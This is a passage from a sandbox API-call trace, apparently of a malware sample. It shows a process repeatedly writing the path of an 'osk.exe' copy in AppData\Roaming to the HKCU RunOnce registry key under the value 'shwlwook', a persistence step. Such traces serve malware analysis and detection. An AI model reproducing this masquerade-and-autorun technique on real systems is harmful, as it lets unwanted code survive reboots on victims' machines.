CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0255.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95df10, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0255.316] _mbsnbcmp (_Str1=0x95df10, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0255.316] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95deec, lpdwDisposition=0x0 | out: phkResult=0x95deec*=0x14c, lpdwDisposition=0x0) returned 0x0 [0255.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0255.316] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95dee0, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0255.316] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0255.316] RegCloseKey (hKey=0x14c) returned 0x0 [0255.317] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0255.317] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0255.335] TranslateMessage (lpMsg=0x95f69c) returned 0 [0255.335] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0255.335] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0255.336] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95e930*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95e98c | out: rgDispId=0x95e98c*=10012) returned 0x0 [0255.336] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240b90 | out: ppvObject=0x6240b90*=0x0) returned 0x80004002 [0255.336] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x16 [0255.336] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ea1c | out: ppvObject=0x95ea1c*=0x0) returned 0x80004002 [0255.336] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x17 [0255.336] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95e9f0*(rgvarg=([0]=0x95e970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95e9d0, pExcepInfo=0x95e99c, puArgErr=0x95e874 | out: pDispParams=0x95e9f0*(rgvarg=([0]=0x95e970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95e9d0*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95e99c*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95e874*=0x624a990) returned 0x0 [0255.336] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x16 [0255.336] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95e8d0 | out: ppvObject=0x95e8d0*=0x0) returned 0x80004002 [0255.337] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95e8c8 | out: ppvObject=0x95e8c8*=0x0) returned 0x80004002 [0255.337] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95e8dc | out: ppvObject=0x95e8dc*=0x5499ce4) returned 0x0 [0255.337] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95e864 | out: ppvObject=0x95e864*=0x0) returned 0x80004002 [0255.337] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240bb0 | out: ppvObject=0x6240bb0*=0x0) returned 0x80004002 [0255.337] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x17 [0255.337] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x16 [0255.337] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95e960*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95e9bc | out: rgDispId=0x95e9bc*=0) returned 0x0 [0255.337] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x16 [0255.337] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95e978*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95e968, pExcepInfo=0x95e988, puArgErr=0x95e874 | out: pDispParams=0x95e978*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95e968*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95e988*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95e874*=0x6240bc0) returned 0x0 [0255.338] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x15 [0255.338] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0255.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0255.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95df10, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0255.339] _mbsnbcmp (_Str1=0x95df10, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0255.339] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95deec, lpdwDisposition=0x0 | out: phkResult=0x95deec*=0x14c, lpdwDisposition=0x0) returned 0x0 [0255.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0255.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95dee0, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0255.339] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0255.339] RegCloseKey (hKey=0x14c) returned 0x0 [0255.340] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0255.340] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0255.344] TranslateMessage (lpMsg=0x95f69c) returned 0 [0255.344] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0255.344] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0255.344] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95e930*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95e98c | out: rgDispId=0x95e98c*=10012) returned 0x0 [0255.344] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240c10 | out: ppvObject=0x6240c10*=0x0) returned 0x80004002 [0255.344] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x17 [0255.344] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ea1c | out: ppvObject=0x95ea1c*=0x0) returned 0x80004002 [0255.345] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x18 [0255.345] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95e9f0*(rgvarg=([0]=0x95e970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95e9d0, pExcepInfo=0x95e99c, puArgErr=0x95e874 | out: pDispParams=0x95e9f0*(rgvarg=([0]=0x95e970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95e9d0*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95e99c*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95e874*=0x624a9f0) returned 0x0 [0255.345] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x17 [0255.345] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95e8d0 | out: ppvObject=0x95e8d0*=0x0) returned 0x80004002 [0255.345] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95e8c8 | out: ppvObject=0x95e8c8*=0x0) returned 0x80004002 [0255.345] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95e8dc | out: ppvObject=0x95e8dc*=0x5499ce4) returned 0x0 [0255.345] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95e864 | out: ppvObject=0x95e864*=0x0) returned 0x80004002 [0255.345] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240c30 | out: ppvObject=0x6240c30*=0x0) returned 0x80004002 [0255.345] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x18 [0255.346] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x17 [0255.346] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95e960*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95e9bc | out: rgDispId=0x95e9bc*=0) returned 0x0 [0255.346] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x17 [0255.346] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95e978*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95e968, pExcepInfo=0x95e988, puArgErr=0x95e874 | out: pDispParams=0x95e978*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95e968*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95e988*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95e874*=0x6240c40) returned 0x0 [0255.347] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x16 [0255.347] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0255.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0255.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95df10, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0255.347] _mbsnbcmp (_Str1=0x95df10, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0255.347] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95deec, lpdwDisposition=0x0 | out: phkResult=0x95deec*=0x14c, lpdwDisposition=0x0) returned 0x0 [0255.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0255.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95dee0, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0255.348] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0255.348] RegCloseKey (hKey=0x14c) returned 0x0 [0255.348] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0255.348] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0255.359] TranslateMessage (lpMsg=0x95f69c) returned 0 [0255.359] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0255.360] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0255.360] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95e930*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95e98c | out: rgDispId=0x95e98c*=10012) returned 0x0 [0255.360] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240c90 | out: ppvObject=0x6240c90*=0x0) returned 0x80004002 [0255.360] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x18 [0255.360] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ea1c | out: ppvObject=0x95ea1c*=0x0) returned 0x80004002 [0255.360] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x19 [0255.360] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95e9f0*(rgvarg=([0]=0x95e970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95e9d0, pExcepInfo=0x95e99c, puArgErr=0x95e874 | out: pDispParams=0x95e9f0*(rgvarg=([0]=0x95e970*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95e9d0*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95e99c*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95e874*=0x624aa50) returned 0x0 [0255.361] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x18 [0255.361] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95e8d0 | out: ppvObject=0x95e8d0*=0x0) returned 0x80004002 [0255.361] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95e8c8 | out: ppvObject=0x95e8c8*=0x0) returned 0x80004002 [0255.361] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95e8dc | out: ppvObject=0x95e8dc*=0x5499ce4) returned 0x0 [0255.361] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95e864 | out: ppvObject=0x95e864*=0x0) returned 0x80004002 [0255.361] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240cb0 | out: ppvObject=0x6240cb0*=0x0) returned 0x80004002 [0255.361] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x19 [0255.361] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x18 [0255.361] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95e960*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95e9bc | out: rgDispId=0x95e9bc*=0) returned 0x0 [0255.361] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x18 [0255.361] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95e978*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95e968, pExcepInfo=0x95e988, puArgErr=0x95e874 | out: pDispParams=0x95e978*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95e968*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95e988*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95e874*=0x6240cc0) returned 0x0 [0255.362] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x17 [0255.362] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0255.363] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 